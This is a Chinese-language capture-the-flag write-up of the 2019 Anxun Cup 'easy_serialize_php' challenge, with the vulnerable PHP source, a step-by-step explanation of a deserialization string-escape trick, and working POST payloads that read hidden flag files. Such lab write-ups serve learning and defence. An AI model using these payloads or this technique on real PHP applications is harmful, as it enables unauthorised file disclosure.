2019安洵杯easy_serialize_php

温馨提示:点击页面下方以展开或折叠目录~

先挖个坑再总结一下php反序列化的字符串逃逸…

2019安洵杯easy_serialize_php

  • buuojxctf都有,但是很离谱的一个开不出环境,一个开了环境访问不了phpinfo。。。不知道是平台的问题还是怎样(后来发现buuoj的除了phpinfo看不了其他都正常,妈的绝了)
  • 最后直接clone了题目的docker自己跑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

代码审计

  1. GET请求参数f的值

    • highlight_file: index.php
    • phpinfo: phpinfo()
    • show_image: 把\$_SESSION序列化后经过filter过滤,再反序列化,最后打印base64解码后的img属性
    • img_path: 若存在,则进行base64编码和sha1哈希后赋值给\$_SESSION[“img”];若不存在,则将guest_img.png base64编码后赋值给\$_SESSION[“img”]
  2. 看一眼phpinfo()

    image

    找到一个疑似可能有flag或者hint的页面d0g3_f1ag.php

  3. extract(\$_POST)

    extract() 函数从数组中将变量导入到当前的符号表。

    • extract第二个参数用来指定当出现冲突时应该怎么做,默认是EXTR_OVERWRITE

      image

      即覆盖变量

    • 若选择EXTR_SKIP,则不覆盖

      image

    • 这道题我们只要知道我们传的数组会覆盖掉原来的值就行了,结合后面分析\$_SESSION应该是通过这个地方的POST赋值的

  4. $_SESSION有三个元素

    • user=guest
    • function=$function 可控
    • img: 取决于GET的参数
    • 要注意\$_SESSION无法直接通过赋值控制,因为unset($_SESSION);会把SESSION销毁

思路

1
2
3
4
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

这几行是重点

  1. GET传?f=show_image;POST传$\_SESSION

    $serialize_info = filter(serialize($_SESSION));

    \$_SESSION序列化后经过过滤器将一些字符串过滤,然后反序列化后赋给\$userinfo

  2. \$_SESSION -> 序列化 -> 过滤 -> 反序列化 -> \$userinfo

  3. 打开\$_userinfo 的img属性的值经过base64解码后的文件名对应的文件,我们这里选择d0g3_f1ag.php看看里面有什么

反序列化字符串逃逸

  • 关键点在于file_get_contents(base64_decode($userinfo['img'])),如果按照正常的流程,img属性的值为guest_img.png的base64编码,我们需要令其为d0g3_f1ag.php的base64编码。

  • 由于filter过滤器是对序列化后的内容进行过滤,是一种典型的长变短反序列化字符串逃逸

    image

    可以看到出现flag的地方都会被替换为空,导致长度不符反序列化出错

  • 如果直接把d0g3_f1ag.php的base64编码直接作为img参数传递的话,会发现img属性的值被替换为guest_img.php

    image

  • 因此我们需要序列化字符串在反序列化时,读取到s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";前,让反序列化结束,同时读取到img=ZDBnM19mMWFnLnBocA==(d0g3_f1ag.php的base64编码)

  • 先随便赋个值尝试一下

    image

    发现在没有过滤的情况下多了一个属性

  • 我们知道php反序列化的分隔符为 ;} ,当读到这里时反序列化结束,因此我们需要伪造一个分隔符,在分隔符前构造img=ZDBnM19mMWFnLnBocA==的payload

    image

    可以看到灰色部分就是我们需要的内容,接下来就要利用序列化字符串的flag会被过滤的特性让前面的内容作为“值”被覆盖

  • 先简单尝试一下

    经过过滤后变为a:2:{s:4:"";s:40:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";},可以看到第一个s长度为4,所以读到";s:就结束了,导致反序列化出错

    image

    我们计算出需要覆盖的内容";s:40:长度为7,刚好flag和php两个被过滤的字符串长度和为7

  • 重新尝试_SESSION[flagphp]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

    image

    发现还是不对,这是因为长度7虽然覆盖了那几个字符串,但是他只是把";s:40:作为属性名而已,还缺少了属性值,因此还要在后面给他加上属性值

  • 继续构造payload,属性值其实就无所谓了,因为不影响前后的构造_SESSION[flagphp]=;s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

    image

    可以发现终于成功了

    image

    把payload丢到buuoj的靶机上,查看源代码即可发现hint

  • 最后一步就把d0g3_f1ag.php的base64编码换为/d0g3_fllllllag的base64编码即可

    image

答案

payload1

_SESSION[flagphp]=;s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

payload2

_SESSION[flagphp]=;s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

做的过程还遇到一个小坑:burp2021的重放模块,不知道为什么,post数据没经过url编码的话会导致post错内容

  • 没有url编码的情况

    image

    发现值没有被修改

  • 有url编码的情况

    image

    值正常修改

这次遇到的是中括号[]引起的,其他符号不知道会不会也这样,搞了好久还一直以为是自己做法有问题,,,直到发现hackbar没问题才意识到是burp的问题

本题测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

//$var1 = base64_encode('d0g3_f1ag.php');
$var1 = base64_encode('/d0g3_fllllllag');
//echo $var1;
$_SESSION['img'] = $var1;
//echo serialize($_SESSION)."<br/>";
//$_SESSION["user"] = 'guest';
//$_SESSION['function'] = 'show_image';
//$_SESSION['img'] = base64_encode('guest_img.png');
extract($_POST);
if(!@$_GET["img_path"]){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

echo serialize($_SESSION)."<br/>";
$serialize_info = filter(serialize($_SESSION));
echo $serialize_info.'<br/>';
$userinfo = unserialize($serialize_info);
var_dump($userinfo);
echo '<br/>';
echo base64_decode($userinfo['img']);